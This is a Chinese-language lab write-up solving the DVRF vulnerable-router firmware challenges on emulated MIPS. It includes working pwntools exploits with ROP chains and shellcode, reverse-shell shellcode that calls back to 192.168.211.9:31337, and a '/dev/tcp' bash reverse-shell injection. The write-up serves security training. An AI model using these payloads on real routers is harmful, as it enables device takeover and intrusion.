從DVRF靶機學習韌體安全

合天網安實驗室發表於2021-03-25

DVRF 專案介紹

該專案目標是模擬一個真實的環境,幫助人們瞭解 x86_64 之外的其他 CPU 架構。此韌體是針對 Linksys E1550 裝置量身定製的。如果您沒有,請不要擔心!可以用 qemu 模擬。

專案地址:github.com/praetorian-…

本文涉及相關實驗:解密韌體實踐及firmwalker指令碼利用 (通過本次實驗學習如何在韌體被加密的情況下進行解密,使得韌體層面的路由器安全研究順利進行。)

模擬環境

主要是用 ubuntu 16 ,如果部分題目用 qemu-user 模擬不了,就轉去 attify 3.0 。但是 attify gdb 外掛 gef 視乎在模擬時 vmmap 查不過來 libc 地址,問題不大隻是查詢方法饒了一點,還是可以解決的。

stack_bof_01

獲取引數後,未校驗長度賦值給區域性變數造成棧溢位,有後門函式 0x00400950

image-20210311234221215

Main 函式由 libc_main_start 呼叫,即 main 函式為非葉子函式,返回地址存放在棧上,從彙編可見:

image-20210311234457308image-20210311234516201

直接跳轉 0x00400950 會因為 t9 的值被修改而錯誤。mips預設 t9 為當前函式開始地址。函式內部通過 t9 暫存器和 gp 暫存器來找資料,地址等。

其他師傅文章中是通過找 libc 中的 lw $t9, arg_0($sp);jalr $t9 調整 t9 暫存器。但是我韌體映象中的 libc 沒有這個 gadget ,按照偏移地址跳轉過去是 jalr $t9 。換個思路直接跳過 dat_shell 開頭調整 gp 部分:

image-20210312111802336

除錯方法

需要開啟幾個 terminal 啟動不同的命令:

  • 啟動 qemu 模擬

    -strace 檢視 qemu 除錯資訊,方便觀察執行了什麼命令

    qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
    複製程式碼
  • gdb-multiarch

    gdb-multiarch ./pwnable/Intro/stack_bof_01
    
    set architecture mips
    set endian little
    target remote :1234
    複製程式碼

連上之後會停在 start ,在 main 函式開頭打斷點,執行到這個斷點,然後就慢慢單步除錯。

EXP

字串是從引數讀入,跳轉地址轉換後是不可見字元 ,需要藉助 cat 傳入引數

# file_name: stack_bof_01.py
from pwn import *

context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"

backdoor = 0x0040095c 

payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)



with open("stack_bof_01_payload","w") as file:
file.write(payload)
複製程式碼

命令列執行:

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
複製程式碼

stack_bof_02

和前面一題差不多,除錯方法也一樣,就是少了後門函式,造成溢位函式變成了 strcpy

image-20210312174639280

main 非葉子函式覆蓋函式返回地址跳轉存放在棧上的 shellocde 。qemu 模擬地址沒有隨機化,相當於 aslr 關閉了,直接除錯查出 v4 的記憶體地址

直接寫入 shellcode 可以完整執行完,但是執行 syscall 0x40404 之後沒有彈 shell 而是進行執行到下一條指令。問了師傅說也有遇到過這種情況,通過加無意義的指令(nop)調整 shellcode 位置有機會能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截斷(只有不包含截斷符指令都行),嘗試後無果。

image-20210312182502998

查閱資料後發現,由於 mips 是流水指令集,存在 cache incoherency 的特性,需要呼叫 sleep 或者其他函式將資料區重新整理到當前指令區中去,才能正常執行 shellcode 。

image-20210312200133500

構造 ROP 的 gadget 得去 libc 找,程式自身沒多少個。我在 ubuntu18 gdb 連上報錯,換到 ubuntu16 vmmap 查不出來 libc 資訊(如圖),最後換 attify 解決問題。

libc路徑:/squashfs-root/lib/libc.so.0

image-20210313011756132

先呼叫 sleep(1) 就需要找 gadget 控制引數以及跳轉。mipsrop.find("li $a0,1") 控制第一個引數,任選一個後面 rop 沒有 gadget 繼續構造就換一個 -。- ,我選著第二個構造 gadget1 = 0x2FB10

image-20210313002948429

.text:0002FB10                 li      $a0, 1
.text:0002FB14                 move    $t9, $s1
.text:0002FB18                 jalr    $t9 ; sub_2F818
複製程式碼

接著需要找一個控制 s1 的 gadget ,用於控制執行完 gadget1 之後跳轉到哪裡。mipsrop.find("li $s1") 結果有很多,最後選了 gadget2 = 0x00007730

.text:00007730                 lw      $ra, 0x18+var_s10($sp)
.text:00007734                 lw      $s3, 0x18+var_sC($sp)
.text:00007738                 lw      $s2, 0x18+var_s8($sp)
.text:0000773C                 lw      $s1, 0x18+var_s4($sp)
.text:00007740                 lw      $s0, 0x18+var_s0($sp)
.text:00007744                 jr      $ra
複製程式碼

至此 a0 被控制為 1 ,目前 payload 結構為:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
複製程式碼

不能直接將 sleep(0x767142b0) 填到 s1 處,因為直接填地址跳轉 sleep 缺少了跳轉前將返回地址放到 ra 暫存器(或壓棧)的過程,當 sleep 執行到結尾的 jalr $ra 時,又會跳轉會到 gadget1 ,所以要換個方式。

mipsrop.tails() 找通過 s0\s2\s3 暫存器跳轉的 gadget ,選擇了 gadget3 = 0x00020F1C

.text:00020F1C                 move    $t9, $s2
.text:00020F20                 lw      $ra, 0x18+var_sC($sp)
.text:00020F24                 lw      $s2, 0x18+var_s8($sp)
.text:00020F28                 lw      $s1, 0x18+var_s4($sp)
.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)
.text:00020F30                 jr      $t9
複製程式碼

解決 sleep 執行結束返回地址問題,並 lw $ra, 0x18+var_sC($sp) 控制下一層跳轉,payload 結構:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
複製程式碼

mipsrop.stackfinders() 找一個 gadget 提取棧地址放到暫存器中,找的時候還要注意控制下一次跳轉選擇 gadget4 = 0x16dd0 這個,通過 gadget3 提前將下次跳轉地址寫入 s0 :

.text:00016DD0                 addiu   $a0, $sp, 0x38+var_20
.text:00016DD4                 move    $t9, $s0
.text:00016DD8                 jalr    $t9
複製程式碼
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
複製程式碼

最後找一個用 a0 跳轉的 gadget ,一開始用 mipsrop.tails() 沒找到,最後用 mipsrop.find("move $t9,$a0)") 找著了 gadget5 = 0x214a0 ,對 mipsrop 理解不夠……

.text:000214A0                 move    $t9, $a0
.text:000214A4                 sw      $v0, 0x30+var_18($sp)
.text:000214A8                 jalr    $t9
複製程式碼

最後跳轉 shellcode 時,0x000214A4 的這句彙編 sw $v0, 0x30+var_18($sp) 會將 shellcode 第一個指令替換為 nop ,用無意義指令填充,將 shellcode 向後移。

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
複製程式碼

EXP

from pwn import *

context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"

# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
   0x76714b10:lia0,1
   0x76714b14:movet9,s1
   0x76714b18:jalrt9
'''
gadget2 = 0x766ec730
'''
   0x766ec730:lwra,40(sp)
   0x766ec734:lws3,36(sp)
   0x766ec738:lws2,32(sp)
   0x766ec73c:lws1,28(sp)
   0x766ec740:lws0,24(sp)
   0x766ec744:jrra
'''
gadget3 = 0x76705f1c
'''
   0x76705f1c:movet9,s2
   0x76705f20:lwra,36(sp)
   0x76705f24:lws2,32(sp)
   0x76705f28:lws1,28(sp)
   0x76705f2c:lws0,24(sp)
   0x76705f30:jrt9
'''
gadget4 = 0x766fbdd0
'''
   0x766fbdd0:addiua0,sp,24
   0x766fbdd4 <optarg>:movet9,s0
   0x766fbdd8:jalrt9
'''
gadget5 = 0x767064a0
'''
   0x767064a0:movet9,a0
   0x767064a4:swv0,24(sp)
   0x767064a8:jalrt9
'''
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode


with open("stack_bof_02_payload","w") as file:
file.write(payload)
複製程式碼

socket_bof

這題二進位制檔案用 ida 看虛擬碼有點瑕疵,本來溢位點變成了一個指標,導致一直找不到,最後無奈去看了下原始碼和結合彙編。

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
 
int main(int argc, char **argv[])
{

if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);

}
 
    char str[500] = "\0";
    char endstr[50] = "\0";
    int listen_fd, comm_fd;
    int retval = 0;
    int option = 1;
 
    struct sockaddr_in servaddr;
 
    listen_fd = socket(AF_INET, SOCK_STREAM, 0);
 
    bzero( &servaddr, sizeof(servaddr));
 
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htons(INADDR_ANY);
    servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %i\n", atoi(argv[1]));
 
    retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1){
printf("Error Binding to port %i\n", atoi(argv[1]));
 exit(1);}

   if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
printf("Setsockopt failed :(\n");
close(listen_fd);
exit(2);
}


    listen(listen_fd, 2);
 
    comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
 
        bzero(str, 500);
write(comm_fd, "Send Me Bytes:",14);
        read(comm_fd,str,500);
sprintf(endstr, "nom nom nom, you sent me %s", str);
 printf("Sent back - %s",str);
        write(comm_fd, endstr, strlen(endstr)+1);
shutdown(comm_fd, SHUT_RDWR);
shutdown(listen_fd, SHUT_RDWR);
close(comm_fd);
close(listen_fd);
return 0x42;
}
複製程式碼

棧溢位在這句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 傳入的資料,長度內容為我們所控制,溢位 padding 為 51

image-20210314175958380

除錯方法

在 ubuntu 16.04 下 gdb-multiarch target remote :1234 連結上後報錯退出,切換到 attify 能繼續使用最常規方式除錯:qemu-user 模式加 -g 開啟除錯埠,gdb-multiarch target remote :1234 連結上去。

# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips 
set endian little
target remote :1234
複製程式碼

另外一個除錯方法是 qemu system 啟動 mips 系統,然後傳入一個 gdb-server ,在裡面執行程式然後 gdb-server attach 程式,再在外面用 gdb 連結上去。

attify 裡面 gdb 外掛是 gef ,用 vmmap 讀不出 libc 地址

image-20210315180459380

曲線救國在 0x00400D34 打下斷點,單步跟進去檢視 sprintf 的真實地址,然後再從 ./lib/libc.so.0 讀取偏移算出基地址

image-20210315180734572

全部題目用的 libc 都同一個,需要 shellcode 的題目,換下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 裡面的指令碼 libc_base 和 attify 不一樣要換下基地址。

Stack_bof_02 的 execve('/bin/sh') 能打通

image-20210315222312959

找一個反彈 shell 的 shellcode 替換,或者將 shell 繫結到某個埠

繫結 shell 的 shellcode 預期是開在本地的 4919 埠,實際執行後發現並不是,要自己查埠 -。- ,然鵝 nc 連上去後程式會蹦掉。

反彈 shell 的 shellcode 預編是反彈到 192.168.1.177:31337 ,要麼修改網路卡 ip ,要麼就改一下 shellcode 傳入的 ip

image-20210315201159630

將 ip 地址轉換成 16 進位制

hex(192)#0xc0
hex(168)#0xa8
hex(1)#0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0
複製程式碼

編譯一下,編譯失敗看看是不是 binutils 沒裝

from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")
複製程式碼

然後搜尋 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替換為自己編譯的:

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
複製程式碼

EXP

#!/usr/bin/python
from pwn import *

context.arch = 'mips'
context.endian = 'little'

libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0

gadget1 = 0x2fb10
'''
   0x76714b10:lia0,1
   0x76714b14:movet9,s1
   0x76714b18:jalrt9
'''
gadget2 = 0x7730
'''
   0x766ec730:lwra,40(sp)
   0x766ec734:lws3,36(sp)
   0x766ec738:lws2,32(sp)
   0x766ec73c:lws1,28(sp)
   0x766ec740:lws0,24(sp)
   0x766ec744:jrra
'''
gadget3 = 0x20f1c
'''
   0x76705f1c:movet9,s2
   0x76705f20:lwra,36(sp)
   0x76705f24:lws2,32(sp)
   0x76705f28:lws1,28(sp)
   0x76705f2c:lws0,24(sp)
   0x76705f30:jrt9
'''
gadget4 = 0x16dd0
'''
   0x766fbdd0:addiua0,sp,24
   0x766fbdd4 <optarg>:movet9,s0
   0x766fbdd8:jalrt9
'''
gadget5 = 0x214a0
'''
   0x767064a0:movet9,a0
   0x767064a4:swv0,24(sp)
   0x767064a8:jalrt9
'''
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SC


p = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')

p.sendline(payload)

p.interactive()
複製程式碼

socket_cmd

image-20210315232145316

EXP

依次開啟終端執行

#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
複製程式碼
#terminal 1
nc -lvvp 31337
複製程式碼
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
複製程式碼

image-20210315233919821

是 iot 使用者 nc 連結上去程式,程式是用 sudo 起來,所以切換到 root

Uaf_01&heap_overflow

剩下兩題 heap_overflow 和 uaf_01 沒有什麼思路,都是輸入一次然後程式就退出了。

uaf_01 重新申請相同 0x11 ,就跳轉 Awesome 那個分支,但沒啥用。

heap_overflow 有個後門,輸入機會只有一次,然後程式就會關掉。

參考文章

ctf-wiki.org/pwn/linux/m…

xz.aliyun.com/t/1511

www.cnblogs.com/hac425/p/94…

相關文章